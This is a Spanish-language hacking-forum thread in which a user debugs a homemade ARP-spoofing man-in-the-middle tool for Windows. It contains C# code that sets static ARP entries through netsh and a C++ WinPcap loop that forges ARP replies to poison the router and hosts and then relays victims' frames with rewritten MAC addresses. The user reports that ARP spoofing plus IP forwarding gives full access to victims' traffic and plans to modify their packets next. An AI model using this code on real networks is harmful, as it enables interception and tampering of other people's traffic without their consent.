elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


+  Foro de elhacker.net
|-+  Comunicaciones
| |-+  Redes
| | |-+  ¿Por qué no funciona este MITM?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: ¿Por qué no funciona este MITM?  (Leído 1,349 veces)
Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
¿Por qué no funciona este MITM?
« en: 10 Septiembre 2015, 18:11 pm »

Buenas a todos,

sigo tratando de hacer funcionar un MITM, que tengo para windows en C++, en resumen lo que hace es envenenar la red, haciendose pasar por el router para las victimas y por cliente para el router, enviando así las peticione que nos hacen las victimas al router con la ip de las victimas y nuestra mac, ademas al router le decimos que a todas las ips de los clientes de la red les corresponde mi mac, asi cuando el router devuelva el paquete, se lo devuelva a la direccion ip que lo solicitó que estará asociada a nuestra mac, por lo que nosotros obtendremos el paquete, y luego nosotros recojemos la ip del paquete y lo reenviamos a la victima haciendonos pasar por router, pero algo falla pues consigo llegar a hacer denegacion de servicio a la red, pero no consigo dar conexión a los equipos de la red, se quedan cargando y no hay solución. He probado a establecer ip fordwarding pero el resultado es el mismo. No tengo la tarjeta de red en modo monitor, esta en modo normal, ¿puede ser eso?.

Os dejo una captura de lo que hace cuando trato de atacar a mi propio movil en la red:



Aparece la ip del router y la ip del movil, y tambien son paquetes nuestros ya que nosotros interactuamos conel router con la ip de la victima y nuestra mac en los paquetes, y a la victima con la ip del router y nuestra mac.

He visto proyectos de MITM como tomahawk hechos en C#, y lo que hacía era una tabla de ARP estática:

Código
  1. // static ARP entry manipulation (IP, MAC, friendly interface name, add/remove)
  2.        public bool StaticARP(string IP, PhysicalAddress mac, string WinName, StaticARPOperation operation)
  3.        {
  4.            OperatingSystem system = Environment.OSVersion;
  5.  
  6.            // format MAC address
  7.            var macString = Network.FriendlyPhysicalAddress(mac).Replace(":", "-").ToLower();
  8.  
  9.            // prepare process
  10.            Process p = new Process();
  11.  
  12.            p.StartInfo.CreateNoWindow = true;
  13.            p.StartInfo.UseShellExecute = false;
  14.            p.StartInfo.RedirectStandardOutput = true;
  15.            p.StartInfo.WorkingDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Windows);
  16.            p.StartInfo.FileName = "cmd";
  17.  
  18.            // Vista, Windows 7/8 - use "netsh"
  19.            if (system.Version.Major > 5)
  20.            {
  21.                if(operation == StaticARPOperation.Add)
  22.                    p.StartInfo.Arguments = "/k netsh interface ip delete neighbors \"" + WinName + "\" " + IP + " && netsh interface ip add neighbors \"" + WinName + "\" " + IP + " " + macString + " && exit";
  23.                else
  24.                    p.StartInfo.Arguments = "/k netsh interface ip delete neighbors \"" + WinName + "\" " + IP + " && exit";
  25.  
  26.                p.Start();
  27.                p.WaitForExit();
  28.  
  29.                p.Dispose();
  30.  
  31.                return true;
  32.            }
  33.  
  34.            p.Dispose();
  35.  
  36.            return false;
  37.        }

¿Será esto necesario?, uno de los problemas que puedo tener es que el SO manda datos con los datos correctos a los demás ordenadores, y muchas veces se siente engañado, ¿cómo podría solucionar eso en caso de que sea el problema? ¿sino lo es, que puede ocurrir?

He de añadir, que lo que hago ahora es un flooding de arp-poisoning, cuando me funcione así ya pasaré a hacerlo pasivo, pero de momento es de prueba, los hosts de la red me reconocen a mi como AP, pero no paso de la denegación de servicio.

Saludos y gracias por la ayuda, si os animáis a echar una mano.


En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
andavid


Desconectado Desconectado

Mensajes: 1.845


Lo que no me mata, me fortalece.


Ver Perfil WWW
Re: ¿Por qué no funciona este MITM?
« Respuesta #1 en: 16 Septiembre 2015, 11:57 am »

Una consulta para quedar claros, la primera imagen hace referencia al wireshark (que debe estar en modo promiscuo o si no no sirve de nada) y la segunda hace referencia al programa en c++ que estas programando?


En línea


Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Re: ¿Por qué no funciona este MITM?
« Respuesta #2 en: 16 Septiembre 2015, 13:46 pm »

Una consulta para quedar claros, la primera imagen hace referencia al wireshark (que debe estar en modo promiscuo o si no no sirve de nada) y la segunda hace referencia al programa en c++ que estas programando?

Hola Andavid gracias por colaborar, en efecto la primera imagen hace referencia al wireshark capturando todos los paquetes que pasan a través de mi, y la segunda no es de mi programa en C++ está en C# y me pregunto si será necesario pasar ese code a C# para que funcione el MITM, pero no creo.

Lo que hace mi programa es simplemente hacer arp spoofing y reedirigir los paquetes entrantes cambiando las MACs, pero no redirige correctamente y solo hago denegación de servicio.

He estado informándome para hacer el MITM, y quizás deba de poner la tarjeta de red de la interfaz que usa conexión a internet (la de la red) en modo promiscuo (algo que hasta hace un momento no sabía si era necesario hacerlo pues pienso/pensaba que con mi método no debería hacer falta):

http://windows7themes.net/en-us/enable-promiscuous-mode-manually-in-windows-7/

Aquí dice como poner en modo promiscuo una interfaz de red en windows con comando, quizás se pueda hacer trabajando con el registro ya investigaré al respecto.

Mi pregunta es, ¿debo redirigir yo los paquetes o mediante ip fordwarding y poniendo la tarjeta de red en modo promiscuo ya debería de hacer el MITM con solo añadir arp spoofing? ¿No?

Estoy venga a buscar info, y creo que esa puede ser una salida, pero lo que quiero es modificar los paquetes entrantes para hacer ataques de red, de hacking ético hacer simplemente pruebas y testear cosas. No se si así podré tener acceso a los paquetes ya que el propio sistema los estará redirigiendo y no yo, pero bueno lo primero es probar que funcione lo que he dicho.

Entonces ¿modo promiscuo con un comando (o probare esto tbn: https://support.microsoft.com/es-es/kb/264715) + arp spoofing + ip fordwarding = MITM trabajando?

Saludos seguiré con ello, gracias por colaborar.

Edito: No funciona el comando del primer link, me pregunto si los del segundo link funcionará para ponerlo en modo promiscuo ya que la carpeta no existe en el registro de win10, ¿es necesario ponerlo en modo promiscuo para hacer el mitm o no?.

Saludos.

Edito: Por cierto pongo el código que reenvía paquetes de mi programa en C++, si es arp lo reenvía envenenando al origen y destino, si es tcp cambio las mac origen y destino y reenvio, aviso que tiene fallos y no serán pocos, y falta implementar para más paquetes, pero si lo dejé de implementar es porque fallaba, no llega a haber conexión, está tarde lo miraré más afondo, saludos.

Código
  1. void reenviando_mitm(volatile bool *on_mitm, pcap_t *capturador, u_char *ip_propia, u_char *mac_propia, u_char *ip_gateway, u_char *mac_gateway, lista_usuarios* lista)
  2. {
  3. u_char mac_broadcast[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };//
  4. struct pcap_pkthdr *header;
  5. const u_char *pkt_data;
  6.  
  7. while (int res = pcap_next_ex(capturador, &header, &pkt_data) >= 0 && *on_mitm){
  8.  
  9. if (res == 0)
  10. continue;
  11.  
  12. if (header->caplen <= MAXIMO_TAMAÑO_ARP){/////////////////
  13. if (pkt_data[12] == '\x08' &&
  14. pkt_data[13] == '\x06'){
  15.  
  16. u_char *paquete = new u_char[42]();
  17. u_char ip_origen[4];
  18. u_char ip_destino[4];
  19. u_char mac_origen[6];
  20. u_char mac_destino[6];
  21.  
  22. if (!lista->contiene_ip(ip_destino)){
  23. continue;
  24. }
  25.  
  26. memcpy(ip_origen, pkt_data + 28, sizeof(u_char)* 4);
  27. memcpy(ip_destino, pkt_data + 38, sizeof(u_char)* 4);
  28. memcpy(mac_origen, pkt_data + 22, sizeof(u_char)* 6);
  29. memcpy(mac_destino, pkt_data + 32, sizeof(u_char)* 6);
  30.  
  31. //OJO A ESE IP_DESTINO EL PAQUETE VENDRA A NOSOTROS??
  32.  
  33. if (memcmp(mac_origen, mac_propia, sizeof(u_char)* 6) == 0)
  34. continue;
  35.  
  36. if (memcmp(mac_origen, mac_gateway, sizeof(u_char)* 6) == 0){//es de gateway
  37. if (memcmp(mac_destino, mac_broadcast, sizeof(u_char)* 6) == 0){//pregunta a broadcast
  38. //WARNING PUEDE LLLEGAR A TI DIFERENCIAR.
  39. paquete = respuesta_arp(true, ip_gateway, mac_propia, ip_destino, NULL);
  40. pcap_sendpacket(capturador, paquete, 42);
  41. paquete = respuesta_arp(false, ip_propia, mac_propia, ip_gateway, mac_gateway);
  42. pcap_sendpacket(capturador, paquete, 42);
  43. }
  44. else{
  45. paquete = respuesta_arp(false, ip_propia, mac_propia, ip_gateway, mac_gateway);
  46. pcap_sendpacket(capturador, paquete, 42);
  47. }
  48. }
  49. else{
  50. if (memcmp(mac_destino, mac_broadcast, sizeof(u_char)* 6) == 0)//pregunta a la broad un host.
  51. {
  52. paquete = respuesta_arp(true, ip_gateway, mac_propia, ip_origen, NULL);
  53. pcap_sendpacket(capturador, paquete, 42);
  54. paquete = respuesta_arp(false, ip_propia, mac_propia, ip_gateway, mac_gateway);
  55. pcap_sendpacket(capturador, paquete, 42);
  56. }
  57. else//me pregunta a mi solo un host.
  58. {
  59. paquete = respuesta_arp(false, ip_gateway, mac_propia, ip_origen, mac_origen);
  60. pcap_sendpacket(capturador, paquete, 42);
  61. }
  62. }
  63. continue;
  64. }
  65. }
  66. /////////////////////////7
  67.  
  68. //el router me lo dice y yo se lo digo a el
  69. if (pkt_data[12] == '\x08' && pkt_data[13] == '\x00'){
  70. //al reenviar paquetes el router ve que vienen de mi mac y al ser de otra ip cancela.
  71. u_char mac_origen[6];
  72. memcpy(mac_origen, pkt_data + 6, sizeof(u_char)* 6);
  73.  
  74. if (memcmp(mac_origen, mac_gateway, sizeof(u_char)* 6) == 0){
  75.  
  76. u_char ip_origen[4];
  77. u_char ip_destino[4];
  78. u_char *mac_destino = new u_char[6]();
  79. bool continua = true;
  80.  
  81. memcpy(ip_origen, pkt_data + 26, sizeof(u_char)* 4);
  82. memcpy(ip_destino, pkt_data + 30, sizeof(u_char)* 4);
  83. memcpy(mac_destino, pkt_data, sizeof(u_char)* 6);
  84.  
  85. //control.lock();
  86. mac_destino = lista->obtener_mac(ip_destino);
  87. //control.unlock();
  88.  
  89. if (mac_destino == NULL)
  90. continua = false;
  91. else{
  92. memcpy(const_cast<u_char*>(pkt_data), mac_destino, sizeof(u_char)* 6);
  93. memcpy(const_cast<u_char*>(pkt_data + 6), mac_propia, sizeof(u_char)* 6);
  94. }
  95.  
  96. if (!continua)
  97. continue;
  98. }
  99. else{
  100. memcpy(const_cast<u_char*>(pkt_data), mac_gateway, sizeof(u_char)* 6);
  101. memcpy(const_cast<u_char*>(pkt_data + 6), mac_propia, sizeof(u_char)* 6);
  102. }
  103. pcap_sendpacket(capturador, pkt_data, header->caplen);
  104. }
  105. }
  106. *on_mitm = false;
  107. }
  108.  

No entiendo, el tomahawk es un proyecto de github y puede hacer el mitm sin problemas, ¿pone la tarjeta en modo promiscuo? creo que no!.

Aver que me lio, estoy usando winpcap, YA ESTOY TRABAJANDO EN MODO PROMISCUO!!

Citar
pcap_open(id.c_str(), 65536, PCAP_OPENFLAG_PROMISCUOUS, 1000, NULL, NULL)

DELICATESSE EDITION FROM KAXPERDAY <3 <3: Solucionado el MITM era mucho más sencillo de lo que pensaba, claro está es difícil si nunca lo has implementado y no encuentras apenas cosas de gente que lo ha implementado, simplemente OMFG hay que hacer arp spoofing y establecer ip fordwarding, y ya tienen conexión y tienes acceso a sus paquetes OMFG mirad que función hice para nada!!! OMFG!! <3 <3 <3 <3 <3 <3 3< <3[/b][/glow], ahora probaré a editar los lindos paquetes, fdo: kaxperday

My best regards!
Ahora el problema estará que reenvia todos los paquetes, y si queremos modificarlos para cuando lo vayamos a hacer ya lo habrá reenviado mm.
« Última modificación: 16 Septiembre 2015, 19:32 pm por Kaxperday » En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Por qué no me funciona este codigo?
Desarrollo Web
luison 0 1,653 Último mensaje 24 Septiembre 2010, 21:57 pm
por luison
Problema con MiTM y ettercap. Con Cain funciona :S
Hacking
dan1t0 0 2,653 Último mensaje 2 Octubre 2010, 02:26 am
por dan1t0
No me funciona este programa
Java
Meta 8 4,788 Último mensaje 22 Abril 2011, 07:42 am
por Meta
Por que este bat no me funciona?
Scripting
NekoOs 5 2,719 Último mensaje 16 Febrero 2012, 19:33 pm
por Eleкtro
Ejercicio de MITM con ettercap no me funciona
Dudas Generales
tiago 0 1,048 Último mensaje 4 Noviembre 2020, 22:31 pm
por tiago
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines